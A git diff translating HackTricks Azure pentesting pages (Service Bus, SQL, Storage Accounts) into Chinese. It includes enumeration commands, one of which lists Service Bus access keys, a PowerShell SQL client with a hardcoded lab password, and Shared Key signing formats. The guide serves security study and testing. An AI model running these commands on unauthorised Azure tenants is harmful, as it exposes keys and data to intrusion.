- Manage: Grants full control over the entity, including configuration and permissions management.
|
||||
- Send: Allows sending messages to the entity.
|
||||
- Listen: Allows receiving messages from the entity.
|
||||
- **Primary and Secondary Keys**: These are cryptographic keys used to generate secure tokens for authenticating access.
|
||||
- **Primary and Secondary Connection Strings**: Pre-configured connection strings that include the endpoint and key for easy use in applications.
|
||||
- **SAS Policy ARM ID**: The Azure Resource Manager (ARM) path to the policy for programmatic identification.
|
||||
- **Permissions**: 复选框以指定访问级别:
|
||||
- Manage: 授予对实体的完全控制,包括配置和权限管理。
|
||||
- Send: 允许向实体发送消息。
|
||||
- Listen: 允许从实体接收消息。
|
||||
- **Primary and Secondary Keys**: 这些是用于生成安全令牌以进行访问身份验证的加密密钥。
|
||||
- **Primary and Secondary Connection Strings**: 预配置的连接字符串,包括端点和密钥,便于在应用程序中使用。
|
||||
- **SAS Policy ARM ID**: Azure 资源管理器(ARM)路径,用于程序识别该策略。
|
||||
|
||||
### NameSpace
|
||||
|
||||
sku, authrorization rule,
|
||||
sku, 授权规则,
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -78,27 +77,22 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
### 权限提升
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-servicebus-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
### 利用后
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-servicebus-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,100 +4,99 @@
|
||||
|
||||
## Azure SQL
|
||||
|
||||
Azure SQL is a family of managed, secure, and intelligent products that use the **SQL Server database engine in the Azure cloud**. This means you don't have to worry about the physical administration of your servers, and you can focus on managing your data.
|
||||
Azure SQL 是一系列托管、安全和智能的产品,使用 **Azure 云中的 SQL Server 数据库引擎**。这意味着您不必担心服务器的物理管理,可以专注于管理您的数据。
|
||||
|
||||
Azure SQL consists of three main offerings:
|
||||
Azure SQL 由三个主要产品组成:
|
||||
|
||||
1. **Azure SQL Database**: This is a **fully-managed database service**, which allows you to host individual databases in the Azure cloud. It offers built-in intelligence that learns your unique database patterns and provides customized recommendations and automatic tuning.
|
||||
2. **Azure SQL Managed Instance**: This is for larger scale, entire SQL Server instance-scoped deployments. It provides near 100% compatibility with the latest SQL Server on-premises (Enterprise Edition) Database Engine, which provides a native virtual network (VNet) implementation that addresses common security concerns, and a business model favorable for on-premises SQL Server customers.
|
||||
3. **Azure SQL Server on Azure VMs**: This is Infrastructure as a Service (IaaS) and is best for migrations where you want **control over the operating system and SQL Server instance**, like it was a server running on-premises.
|
||||
1. **Azure SQL 数据库**:这是一个 **完全托管的数据库服务**,允许您在 Azure 云中托管单个数据库。它提供内置智能,学习您独特的数据库模式,并提供定制的建议和自动调优。
|
||||
2. **Azure SQL 托管实例**:这是针对更大规模的整个 SQL Server 实例范围的部署。它与最新的 SQL Server 本地(企业版)数据库引擎几乎 100% 兼容,提供本地虚拟网络(VNet)实现,解决常见的安全问题,并为本地 SQL Server 客户提供有利的商业模式。
|
||||
3. **Azure SQL 服务器在 Azure 虚拟机上**:这是基础设施即服务(IaaS),最适合您希望 **控制操作系统和 SQL Server 实例** 的迁移,就像在本地运行的服务器一样。
|
||||
|
||||
### Azure SQL Database
|
||||
### Azure SQL 数据库
|
||||
|
||||
**Azure SQL Database** is a **fully managed database platform as a service (PaaS)** that provides scalable and secure relational database solutions. It's built on the latest SQL Server technologies and eliminates the need for infrastructure management, making it a popular choice for cloud-based applications.
|
||||
**Azure SQL 数据库** 是一个 **完全托管的数据库平台即服务(PaaS)**,提供可扩展和安全的关系数据库解决方案。它基于最新的 SQL Server 技术,消除了基础设施管理的需要,使其成为基于云的应用程序的热门选择。
|
||||
|
||||
#### Key Features
|
||||
#### 关键特性
|
||||
|
||||
- **Always Up-to-Date**: Runs on the latest stable version of SQL Server and Receives new features and patches automatically.
|
||||
- **PaaS Capabilities**: Built-in high availability, backups, and updates.
|
||||
- **Data Flexibility**: Supports relational and non-relational data (e.g., graphs, JSON, spatial, and XML).
|
||||
- **始终保持最新**:运行在最新的稳定版本的 SQL Server 上,并自动接收新功能和补丁。
|
||||
- **PaaS 能力**:内置高可用性、备份和更新。
|
||||
- **数据灵活性**:支持关系和非关系数据(例如,图形、JSON、空间和 XML)。
|
||||
|
||||
#### Purchasing Models / Service Tiers
|
||||
#### 购买模型 / 服务层级
|
||||
|
||||
- **vCore-based**: Choose compute, memory, and storage independently. For General Purpose, Business Critical (with high resilience and performance for OLTP apps), and scales up to 128 TB storag
|
||||
- **DTU-based**: Bundles compute, memory, and I/O into fixed tiers. Balanced resources for common tasks.
|
||||
- Standard: Balanced resources for common tasks.
|
||||
- Premium: High performance for demanding workloads.
|
||||
- **基于 vCore**:独立选择计算、内存和存储。适用于通用用途、业务关键(具有高弹性和 OLTP 应用的性能),可扩展至 128 TB 存储。
|
||||
- **基于 DTU**:将计算、内存和 I/O 打包成固定层级。为常见任务提供平衡资源。
|
||||
- 标准:为常见任务提供平衡资源。
|
||||
- 高级:为高负载提供高性能。
|
||||
|
||||
#### Deployment Models
|
||||
#### 部署模型
|
||||
|
||||
Azure SQL Database supports flexible deployment options to suit various needs:
|
||||
Azure SQL 数据库支持灵活的部署选项,以满足各种需求:
|
||||
|
||||
- **Single Database**:
|
||||
- A fully isolated database with its own dedicated resources.
|
||||
- Great for microservices or applications requiring a single data source.
|
||||
- **Elastic Pool**:
|
||||
- Allows multiple databases to share resources within a pool.
|
||||
- Cost-efficient for applications with fluctuating usage patterns across multiple databases.
|
||||
- **单一数据库**:
|
||||
- 完全隔离的数据库,拥有自己的专用资源。
|
||||
- 非常适合微服务或需要单一数据源的应用程序。
|
||||
- **弹性池**:
|
||||
- 允许多个数据库在池中共享资源。
|
||||
- 对于多个数据库之间使用模式波动的应用程序,具有成本效益。
|
||||
|
||||
#### Scalable performance and pools
|
||||
#### 可扩展性能和池
|
||||
|
||||
- **Single Databases**: Each database is isolated and has its own dedicated compute, memory, and storage resources. Resources can be scaled dynamically (up or down) without downtime (1–128 vCores, 32 GB–4 TB storage, and up to 128 TB).
|
||||
- **Elastic Pools**: Share resources across multiple databases in a pool to maximize efficiency and save costs. Resources can also be scaled dynamically for the entire pool.
|
||||
- **Service Tier Flexibility**: Start small with a single database in the General Purpose tier. Upgrade to Business Critical or Hyperscale tiers as needs grow.
|
||||
- **Scaling Options**: Dynamic Scaling or Autoscaling Alternatives.
|
||||
- **单一数据库**:每个数据库都是隔离的,拥有自己的专用计算、内存和存储资源。资源可以动态扩展(向上或向下),无需停机(1–128 vCores,32 GB–4 TB 存储,最多 128 TB)。
|
||||
- **弹性池**:在池中跨多个数据库共享资源,以最大化效率并节省成本。资源也可以为整个池动态扩展。
|
||||
- **服务层级灵活性**:从通用用途层中的单一数据库开始。随着需求的增长,升级到业务关键或超大规模层。
|
||||
- **扩展选项**:动态扩展或自动扩展替代方案。
|
||||
|
||||
#### Built-In Monitoring & Optimization
|
||||
#### 内置监控与优化
|
||||
|
||||
- **Query Store**: Tracks performance issues, identifies top resource consumers, and offers actionable recommendations.
|
||||
- **Automatic Tuning**: Proactively optimizes performance with features like automatic indexing and query plan corrections.
|
||||
- **Telemetry Integration**: Supports monitoring through Azure Monitor, Event Hubs, or Azure Storage for tailored insights.
|
||||
- **查询存储**:跟踪性能问题,识别主要资源消耗者,并提供可操作的建议。
|
||||
- **自动调优**:通过自动索引和查询计划修正等功能主动优化性能。
|
||||
- **遥测集成**:通过 Azure Monitor、事件中心或 Azure 存储支持监控,以获取定制的见解。
|
||||
|
||||
#### Disaster Recovery & Availavility
|
||||
#### 灾难恢复与可用性
|
||||
|
||||
- **Automatic backups**: SQL Database automatically performs full, differential, and transaction log backups of databases
|
||||
- **Point-in-Time Restore**: Recover databases to any past state within the backup retention period.
|
||||
- **Geo-Redundancy**
|
||||
- **Failover Groups**: Simplifies disaster recovery by grouping databases for automatic failover across regions.
|
||||
- **自动备份**:SQL 数据库自动执行数据库的完整、差异和事务日志备份。
|
||||
- **时间点恢复**:在备份保留期内将数据库恢复到任何过去状态。
|
||||
- **地理冗余**
|
||||
- **故障转移组**:通过将数据库分组以实现跨区域的自动故障转移,简化灾难恢复。
|
||||
|
||||
### Azure SQL Managed Instance
|
||||
### Azure SQL 托管实例
|
||||
|
||||
**Azure SQL Managed Instance** is a Platform as a Service (PaaS) database engine that offers near 100% compatibility with SQL Server and handles most management tasks (e.g., upgrading, patching, backups, monitoring) automatically. It provides a cloud solution for migrating on-premises SQL Server databases with minimal changes.
|
||||
**Azure SQL 托管实例** 是一个平台即服务(PaaS)数据库引擎,提供与 SQL Server 几乎 100% 的兼容性,并自动处理大多数管理任务(例如,升级、打补丁、备份、监控)。它为迁移本地 SQL Server 数据库提供了云解决方案,几乎不需要更改。
|
||||
|
||||
#### Service Tiers
|
||||
#### 服务层级
|
||||
|
||||
- **General Purpose**: Cost-effective option for applications with standard I/O and latency requirements.
|
||||
- **Business Critical**: High-performance option with low I/O latency for critical workloads.
|
||||
- **通用用途**:适用于具有标准 I/O 和延迟要求的应用程序的经济实惠选项。
|
||||
- **业务关键**:为关键工作负载提供低 I/O 延迟的高性能选项。
|
||||
|
||||
#### Advanced Security Features
|
||||
#### 高级安全特性
|
||||
|
||||
* **Threat Protection**: Advanced Threat Protection alerts for suspicious activities and SQL injection attacks. Auditing to track and log database events for compliance.
|
||||
* **Access Control**: Microsoft Entra authentication for centralized identity management. Row-Level Security and Dynamic Data Masking for granular access control.
|
||||
* **Backups**: Automated and manual backups with point-in-time restore capability.
|
||||
* **威胁保护**:高级威胁保护警报可检测可疑活动和 SQL 注入攻击。审计以跟踪和记录数据库事件以确保合规性。
|
||||
* **访问控制**:Microsoft Entra 身份验证用于集中身份管理。行级安全性和动态数据掩码用于细粒度访问控制。
|
||||
* **备份**:具有时间点恢复能力的自动和手动备份。
|
||||
|
||||
### Azure SQL Virtual Machines
|
||||
### Azure SQL 虚拟机
|
||||
|
||||
**Azure SQL Virtual Machines** is best for migrations where you want **control over the operating system and SQL Server instance**, like it was a server running on-premises. It can have different machine sizes, and a wide selection of SQL Server versions and editions.
|
||||
**Azure SQL 虚拟机** 最适合您希望 **控制操作系统和 SQL Server 实例** 的迁移,就像在本地运行的服务器一样。它可以有不同的机器大小,以及广泛的 SQL Server 版本和版本选择。
|
||||
|
||||
#### Key Features
|
||||
#### 关键特性
|
||||
|
||||
**Automated Backup**: Schedule backups for SQL databases.
|
||||
**Automatic Patching**: Automates the installation of Windows and SQL Server updates during a maintenance window.
|
||||
**Azure Key Vault Integration**: Automatically configures Key Vault for SQL Server VMs.
|
||||
**Defender for Cloud Integration**: View Defender for SQL recommendations in the portal.
|
||||
**Version/Edition Flexibility**: Change SQL Server version or edition metadata without redeploying the VM.
|
||||
**自动备份**:为 SQL 数据库安排备份。
|
||||
**自动打补丁**:在维护窗口期间自动安装 Windows 和 SQL Server 更新。
|
||||
**Azure 密钥保管库集成**:自动为 SQL Server 虚拟机配置密钥保管库。
|
||||
**云防御者集成**:在门户中查看 SQL 的防御者建议。
|
||||
**版本/版本灵活性**:在不重新部署虚拟机的情况下更改 SQL Server 版本或版本元数据。
|
||||
|
||||
#### Security Features
|
||||
#### 安全特性
|
||||
|
||||
**Microsoft Defender for SQL**: Security insights and alerts.
|
||||
**Azure Key Vault Integration**: Secure storage of credentials and encryption keys.
|
||||
**Microsoft Entra (Azure AD)**: Authentication and access control.
|
||||
**Microsoft Defender for SQL**:安全见解和警报。
|
||||
**Azure 密钥保管库集成**:安全存储凭据和加密密钥。
|
||||
**Microsoft Entra(Azure AD)**:身份验证和访问控制。
|
||||
|
||||
## Enumeration
|
||||
## 枚举
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# List Servers
|
||||
az sql server list # --output table
|
||||
@@ -164,11 +163,9 @@ az sql midb show --resource-group <res-grp> --name <name>
|
||||
az sql vm list
|
||||
az sql vm show --resource-group <res-grp> --name <name>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# List Servers
|
||||
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
|
||||
@@ -206,60 +203,51 @@ Get-AzSqlInstanceDatabase -ResourceGroupName <ResourceGroupName> -InstanceName <
|
||||
# Lis all sql VM
|
||||
Get-AzSqlVM
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Connect and run SQL queries
|
||||
|
||||
You could find a connection string (containing credentials) from example [enumerating an Az WebApp](az-app-services.md):
|
||||
### 连接并运行 SQL 查询
|
||||
|
||||
您可以从示例 [枚举 Az WebApp](az-app-services.md) 中找到连接字符串(包含凭据):
|
||||
```powershell
|
||||
function invoke-sql{
|
||||
param($query)
|
||||
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
|
||||
$Connection = New-Object System.Data.SqlClient.SqlConnection $Connection_string
|
||||
$Connection.Open()
|
||||
$Command = New-Object System.Data.SqlClient.SqlCommand
|
||||
$Command.Connection = $Connection
|
||||
$Command.CommandText = $query
|
||||
$Reader = $Command.ExecuteReader()
|
||||
while ($Reader.Read()) {
|
||||
$Reader.GetValue(0)
|
||||
}
|
||||
$Connection.Close()
|
||||
param($query)
|
||||
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
|
||||
$Connection = New-Object System.Data.SqlClient.SqlConnection $Connection_string
|
||||
$Connection.Open()
|
||||
$Command = New-Object System.Data.SqlClient.SqlCommand
|
||||
$Command.Connection = $Connection
|
||||
$Command.CommandText = $query
|
||||
$Reader = $Command.ExecuteReader()
|
||||
while ($Reader.Read()) {
|
||||
$Reader.GetValue(0)
|
||||
}
|
||||
$Connection.Close()
|
||||
}
|
||||
|
||||
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
|
||||
```
|
||||
|
||||
You can also use sqlcmd to access the database. It is important to know if the server allows public connections `az sql server show --name <server-name> --resource-group <resource-group>`, and also if it the firewall rule let's our IP to access:
|
||||
|
||||
您还可以使用 sqlcmd 访问数据库。了解服务器是否允许公共连接很重要 `az sql server show --name <server-name> --resource-group <resource-group>`,以及防火墙规则是否允许我们的 IP 访问:
|
||||
```powershell
|
||||
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql)
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql)
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql)
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql)
|
||||
|
||||
## Privilege Escalation
|
||||
## 权限提升
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-sql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## 后期利用
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,227 +1,216 @@
|
||||
# Az - Storage Accounts & Blobs
|
||||
# Az - 存储帐户与 Blob
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
Azure Storage Accounts are fundamental services in Microsoft Azure that provide scalable, secure, and highly available cloud **storage for various data types**, including blobs (binary large objects), files, queues, and tables. They serve as containers that group these different storage services together under a single namespace for easy management.
|
||||
Azure 存储帐户是 Microsoft Azure 中的基本服务,提供可扩展、安全和高度可用的云 **存储各种数据类型**,包括 blobs(大二进制对象)、文件、队列和表。它们作为容器,将这些不同的存储服务组合在一个命名空间下,以便于管理。
|
||||
|
||||
**Main configuration options**:
|
||||
**主要配置选项**:
|
||||
|
||||
- Every storage account must have a **uniq name across all Azure**.
|
||||
- Every storage account is deployed in a **region** or in an Azure extended zone
|
||||
- It's possible to select the **premium** version of the storage account for better performance
|
||||
- It's possible to select among **4 types of redundancy to protect** against rack, drive and datacenter **failures**.
|
||||
- 每个存储帐户必须在所有 Azure 中具有 **唯一名称**。
|
||||
- 每个存储帐户部署在 **区域** 或 Azure 扩展区中。
|
||||
- 可以选择存储帐户的 **高级** 版本以获得更好的性能。
|
||||
- 可以选择 **4 种冗余类型以保护** 免受机架、驱动器和数据中心 **故障**。
|
||||
|
||||
**Security configuration options**:
|
||||
**安全配置选项**:
|
||||
|
||||
- **Require secure transfer for REST API operations**: Require TLS in any communication with the storage
|
||||
- **Allows enabling anonymous access on individual containers**: If not, it won't be possible to enable anonymous access in the future
|
||||
- **Enable storage account key access**: If not, access with Shared Keys will be forbidden
|
||||
- **Minimum TLS version**
|
||||
- **Permitted scope for copy operations**: Allow from any storage account, from any storage account from the same Entra tenant or from storage account with private endpoints in the same virtual network.
|
||||
- **要求 REST API 操作的安全传输**:在与存储的任何通信中要求 TLS。
|
||||
- **允许在单个容器上启用匿名访问**:如果不允许,将来将无法启用匿名访问。
|
||||
- **启用存储帐户密钥访问**:如果不允许,将禁止使用共享密钥访问。
|
||||
- **最低 TLS 版本**。
|
||||
- **复制操作的允许范围**:允许来自任何存储帐户、来自同一 Entra 租户的任何存储帐户或来自同一虚拟网络中具有私有端点的存储帐户。
|
||||
|
||||
**Blob Storage options**:
|
||||
**Blob 存储选项**:
|
||||
|
||||
- **Allow cross-tenant replication**
|
||||
- **Access tier**: Hot (frequently access data), Cool and Cold (rarely accessed data)
|
||||
- **允许跨租户复制**。
|
||||
- **访问层**:热(频繁访问数据)、冷和冷(很少访问数据)。
|
||||
|
||||
**Networking options**:
|
||||
**网络选项**:
|
||||
|
||||
- **Network access**:
|
||||
- Allow from all networks
|
||||
- Allow from selected virtual networks and IP addresses
|
||||
- Disable public access and use private access
|
||||
- **Private endpoints**: It allows a private connection to the storage account from a virtual network
|
||||
- **网络访问**:
|
||||
- 允许来自所有网络。
|
||||
- 允许来自选定虚拟网络和 IP 地址。
|
||||
- 禁用公共访问并使用私有访问。
|
||||
- **私有端点**:允许从虚拟网络到存储帐户的私有连接。
|
||||
|
||||
**Data protection options**:
|
||||
**数据保护选项**:
|
||||
|
||||
- **Point-in-time restore for containers**: Allows to restore containers to an earlier state
|
||||
- It requires versioning, change feed, and blob soft delete to be enabled.
|
||||
- **Enable soft delete for blobs**: It enables a retention period in days for deleted blobs (even overwritten)
|
||||
- **Enable soft delete for containers**: It enables a retention period in days for deleted containers
|
||||
- **Enable soft delete for file shares**: It enables a retention period in days for deleted file shared
|
||||
- **Enable versioning for blobs**: Maintain previous versions of your blobs
|
||||
- **Enable blob change feed**: Keep logs of create, modification, and delete changes to blobs
|
||||
- **Enable version-level immutability support**: Allows you to set time-based retention policy on the account-level that will apply to all blob versions.
|
||||
- Version-level immutability support and point-in-time restore for containers cannot be enabled simultaneously.
|
||||
- **容器的时间点恢复**:允许将容器恢复到早期状态。
|
||||
- 需要启用版本控制、变更跟踪和 blob 软删除。
|
||||
- **启用 blob 的软删除**:为已删除的 blob(即使被覆盖)启用保留期(天数)。
|
||||
- **启用容器的软删除**:为已删除的容器启用保留期(天数)。
|
||||
- **启用文件共享的软删除**:为已删除的文件共享启用保留期(天数)。
|
||||
- **启用 blob 的版本控制**:维护 blob 的先前版本。
|
||||
- **启用 blob 变更跟踪**:记录对 blob 的创建、修改和删除更改的日志。
|
||||
- **启用版本级不可变性支持**:允许您在帐户级别设置基于时间的保留策略,该策略将适用于所有 blob 版本。
|
||||
- 版本级不可变性支持和容器的时间点恢复不能同时启用。
|
||||
|
||||
**Encryption configuration options**:
|
||||
**加密配置选项**:
|
||||
|
||||
- **Encryption type**: It's possible to use Microsoft-managed keys (MMK) or Customer-managed keys (CMK)
|
||||
- **Enable infrastructure encryption**: Allows to double encrypt the data "for more security"
|
||||
- **加密类型**:可以使用 Microsoft 管理的密钥(MMK)或客户管理的密钥(CMK)。
|
||||
- **启用基础设施加密**:允许对数据进行双重加密以“提高安全性”。
|
||||
|
||||
### Storage endpoints
|
||||
### 存储端点
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="197">存储服务</th><th>端点</th></tr></thead><tbody><tr><td><strong>Blob 存储</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>数据湖存储</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure 文件</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>队列存储</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>表存储</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
|
||||
### Public Exposure
|
||||
### 公开暴露
|
||||
|
||||
If "Allow Blob public access" is **enabled** (disabled by default), when creating a container it's possible to:
|
||||
如果“允许 Blob 公共访问” **已启用**(默认禁用),在创建容器时可以:
|
||||
|
||||
- Give **public access to read blobs** (you need to know the name).
|
||||
- **List container blobs** and **read** them.
|
||||
- Make it fully **private**
|
||||
- 给予 **公共访问以读取 blobs**(需要知道名称)。
|
||||
- **列出容器 blobs** 并 **读取** 它们。
|
||||
- 使其完全 **私有**。
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Connect to Storage
|
||||
### 连接到存储
|
||||
|
||||
If you find any **storage** you can connect to you could use the tool [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) to do so.
|
||||
如果您发现任何可以连接的 **存储**,可以使用工具 [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) 来连接。
|
||||
|
||||
## Access to Storage <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
## 存储访问 <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
|
||||
### RBAC
|
||||
|
||||
It's possible to use Entra ID principals with **RBAC roles** to access storage accounts and it's the recommended way.
|
||||
可以使用 Entra ID 主体与 **RBAC 角色** 访问存储帐户,这是推荐的方式。
|
||||
|
||||
### Access Keys
|
||||
### 访问密钥
|
||||
|
||||
The storage accounts have access keys that can be used to access it. This provides f**ull access to the storage account.**
|
||||
存储帐户具有可以用于访问的访问密钥。这提供了对存储帐户的 **完全访问**。
|
||||
|
||||
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Shared Keys & Lite Shared Keys**
|
||||
### **共享密钥与轻量级共享密钥**
|
||||
|
||||
It's possible to [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) signed with the access keys to authorize access to certain resources via a signed URL.
|
||||
可以 [**生成共享密钥**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key),使用访问密钥签名以通过签名 URL 授权访问某些资源。
|
||||
|
||||
> [!NOTE]
|
||||
> Note that the `CanonicalizedResource` part represents the storage services resource (URI). And if any part in the URL is encoded, it should also be encoded inside the `CanonicalizedResource`.
|
||||
> 请注意,`CanonicalizedResource` 部分表示存储服务资源(URI)。如果 URL 中的任何部分被编码,则它也应在 `CanonicalizedResource` 中编码。
|
||||
|
||||
> [!NOTE]
|
||||
> This is **used by default by `az` cli** to authenticate requests. To make it use the Entra ID principal credentials indicate the param `--auth-mode login`.
|
||||
|
||||
- It's possible to generate a **shared key for blob, queue and file services** signing the following information:
|
||||
> 这 **默认由 `az` cli 使用** 来验证请求。要使其使用 Entra ID 主体凭据,请指示参数 `--auth-mode login`。
|
||||
|
||||
- 可以生成 **blob、队列和文件服务的共享密钥**,签名以下信息:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-Encoding + "\n" +
|
||||
Content-Language + "\n" +
|
||||
Content-Length + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
If-Modified-Since + "\n" +
|
||||
If-Match + "\n" +
|
||||
If-None-Match + "\n" +
|
||||
If-Unmodified-Since + "\n" +
|
||||
Range + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
Content-Encoding + "\n" +
|
||||
Content-Language + "\n" +
|
||||
Content-Length + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
If-Modified-Since + "\n" +
|
||||
If-Match + "\n" +
|
||||
If-None-Match + "\n" +
|
||||
If-Unmodified-Since + "\n" +
|
||||
Range + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
|
||||
- It's possible to generate a **shared key for table services** signing the following information:
|
||||
|
||||
- 可以通过签署以下信息生成 **表服务的共享密钥**:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedResource;
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
|
||||
- It's possible to generate a **lite shared key for blob, queue and file services** signing the following information:
|
||||
|
||||
- 可以生成一个 **轻量级共享密钥,用于 blob、队列和文件服务**,通过签署以下信息:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
|
||||
- It's possible to generate a **lite shared key for table services** signing the following information:
|
||||
|
||||
- 可以生成一个 **轻量级共享密钥用于表服务**,签署以下信息:
|
||||
```bash
|
||||
StringToSign = Date + "\n"
|
||||
CanonicalizedResource
|
||||
CanonicalizedResource
|
||||
```
|
||||
|
||||
Then, to use the key, it can be done in the Authorization header following the syntax:
|
||||
|
||||
然后,要使用密钥,可以在授权头中按照以下语法进行。
|
||||
```bash
|
||||
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
|
||||
#e.g.
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
|
||||
PUT http://myaccount/mycontainer?restype=container&timeout=30 HTTP/1.1
|
||||
x-ms-version: 2014-02-14
